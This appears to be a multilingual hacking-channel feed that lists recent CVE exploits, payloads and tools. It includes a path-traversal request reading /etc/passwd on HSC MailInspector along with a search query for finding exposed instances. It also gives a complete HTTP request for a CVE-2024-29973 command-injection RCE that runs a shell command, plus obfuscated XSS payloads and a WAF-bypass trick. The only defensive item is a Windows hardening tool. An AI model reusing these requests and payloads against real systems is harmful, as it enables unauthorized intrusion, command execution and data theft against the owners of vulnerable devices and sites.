💻ӉѦСҠіИԌ ҬЄѦӍ -Difusion

CVE 2024 0044 * Дырка в Android 12 и 13. Уязвимость позволяет злоумышленнику выполнить атаку «запуск от имени любого приложения», что приводит к локальное повышение привилегий без вмешательства пользователя * exploit #android

CVE-2024-28397 js2py sandbox escape, bypass pyimport restriction * POC + fix #python #js #poc

Gimmick * Section-based payload obfuscation technique for x64 * download

CVE-2024-34470 HSC MailInspector * POC: GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd FOFA: title=="..:: HSC MailInspector ::.."

cve-2024-29973 rce POST /cmd,/simZysh/register_main/setCookie HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHHaZAYecVOf5sfa6 ------WebKitFormBoundaryHHaZAYecVOf5sfa6 Content-Disposition: form-data; name="c0" storage_ext_cgi CGIGetExtStoInfo None) and False or import("subprocess").check_output("id", shell=True)# ------WebKitFormBoundaryHHaZAYecVOf5sfa6-- id

🔍 UserFinder: OSINT tool for finding profiles by username 😄How to Install

apt update
apt upgrade
apt install git
apt install curl
apt install jq
git clone https://github.com/mishakorzik/UserFinder

✅ How to Start

cd UserFinder
bash UserFinder.sh

Write the name you wanna search for. For this tool you can use an existing name like scarletta, to search on social media.✔️ 💻 Works on Termux, Linux and WSL (or cmder!)

- (function(x){this[x+`ert`](1)})`al` - window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) - document['default'+'View'][`\u0061lert`](3) #XSS

Bug Bounty Tip XSS WAF Bypass by multi-char HTML entities fj translates to fj >⃒ translates to > + [?] <⃒ translates to < + [?] [?] - Unicode symbol Cheers!

Another Hardening Windows Tool El programa es un generador de scripts con una colección de parámetros y recomendaciones de CIS Benchmarks y DoD STIG con algunos ajustes.https://github.com/n0rthl1ght/ahwt